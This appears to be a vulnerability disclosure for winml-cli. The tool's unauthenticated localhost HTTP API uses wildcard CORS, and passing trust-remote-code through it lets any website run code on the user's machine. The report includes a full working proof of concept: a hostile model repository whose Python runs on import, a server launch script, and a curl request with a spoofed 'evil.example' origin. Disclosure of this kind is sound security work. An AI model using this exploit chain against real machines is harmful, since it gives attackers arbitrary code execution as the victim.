CVE-2026-84452: Windows ML CLI: CORS misconfig enables localhost RCE

Case Description:

MSRC Notes: Attachments: 1 file(s) attached (1 mp4) Summary: The vulnerability lies in the 'serve/cliapi.py' component of the 'winml-cli' project, which exposes all winml CLI commands over HTTP without authentication. Although it binds to localhost by default, it sets 'alloworigins' to a wildcard, allowing any website to interact with the endpoint. This, combined with the '--trust-remote-code' flag in 'build' and 'config' commands, enables an attacker to execute arbitrary code by hosting a malicious model repository. The root cause is the lack of proper authentication and validation of the 'trustremotecode' parameter, leading to Remote Code Execution (RCE).

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serve/cliapi.py exposes every winml CLI command over HTTP with no authentication. That's defensible on its own - it binds 127.0.0.1 by default, so the audience is this machine. But it also sets alloworigins=[""] (cliapi.py:150, duplicated at app.py:219), and the victim's browser is a local process: the wildcard lets any website call the endpoint and read the reply, erasing the boundary the loopback bind draws.

build and config both accept --trust-remote-code, and a JSON true becomes that flag unfiltered. An attacker-named model repo reaches AutoConfig.frompretrained(..., trustremotecode=True) (autoconfig.py:191), where transformers imports Python from that repo - RCE as the server user from any page the victim loads. The payload runs on import, so the command's exitcode: 1 is irrelevant.

Reported Repro Steps:

1. Setup

git clone -q https://github.com/microsoft/winml-cli.git ~/winml-poc && cd ~/winml-poc && mkdir -p temp /tmp/poc/evil/pwn python3 -m pip install -q --target /tmp/poc/deps onnx onnxruntime transformers fastapi uvicorn click 2. Hostile model repo (payload is module-level → runs on import)

cat > /tmp/poc/evil/pwn/config.json <<'EOF' {"modeltype":"pwn","automap":{"AutoConfig":"configurationpwn.PwnConfig"}} EOF cat > /tmp/poc/evil/pwn/configurationpwn.py <<'EOF' import getpass, os, socket, time from transformers import PretrainedConfig with open(os.environ["PWNMARKER"], "w") as f: f.write(f"ARBITRARY CODE EXECUTION\ntime={time.strftime('%F %T')}\n" f"user={getpass.getuser()}\nhost={socket.gethostname()}\npid={os.getpid()}\n") class PwnConfig(PretrainedConfig): modeltype = "pwn" EOF 3. Start server

Windows: python -m uvicorn winml.modelkit.serve.cliapi:app --host 127.0.0.1 --port 8000

Linux needs a stub for the Windows-only PDH module (no security relevance):

cat > /tmp/poc/serve.py <<'EOF' import os, sys, types, uvicorn m = types.ModuleType("winml.modelkit.session.monitor.pdh") class PdhPoller: def init(s,a,k): pass def start(s,a,k): pass def stop(s,a,k): pass def poll(s,a,k): return {} def sample(s,a,k): return {} def close(s,a,k): pass m.PdhPoller = PdhPoller; m.PDHAVAILABLE = False sys.modules["winml.modelkit.session.monitor.pdh"] = m from winml.modelkit.serve.cliapi import app uvicorn.run(app, host="127.0.0.1", port=8000, loglevel="warning") EOF cd ~/winml-poc && PWNMARKER=~/winml-poc/temp/PWNED PYTHONPATH=src:/tmp/poc/deps setsid nohup python3 /tmp/poc/serve.py >/tmp/poc/log 2>&1 </dev/null & sleep 8; until curl -sf -o /dev/null -m 1 http://127.0.0.1:8000/openapi.json; do sleep 1; done; echo up 4. Exploit

curl -s -D- -o /dev/null -X POST http://127.0.0.1:8000/v1/cli/build \ -H 'Origin: https://evil.example' -H 'Content-Type: application/json' \ -d '{"args":{"model":"/tmp/poc/evil/pwn","outputdir":"/tmp/poc/out","trustremotecode":true}}' \ | grep -iE '^HTTP|^access-control-allow-origin' cat ~/winml-poc/temp/PWNED HTTP/1.1 200 OK access-control-allow-origin: ARBITRARY CODE EXECUTION time=2026-08-17 11:24:35 user=shrini host=Shrinivasan pid=11616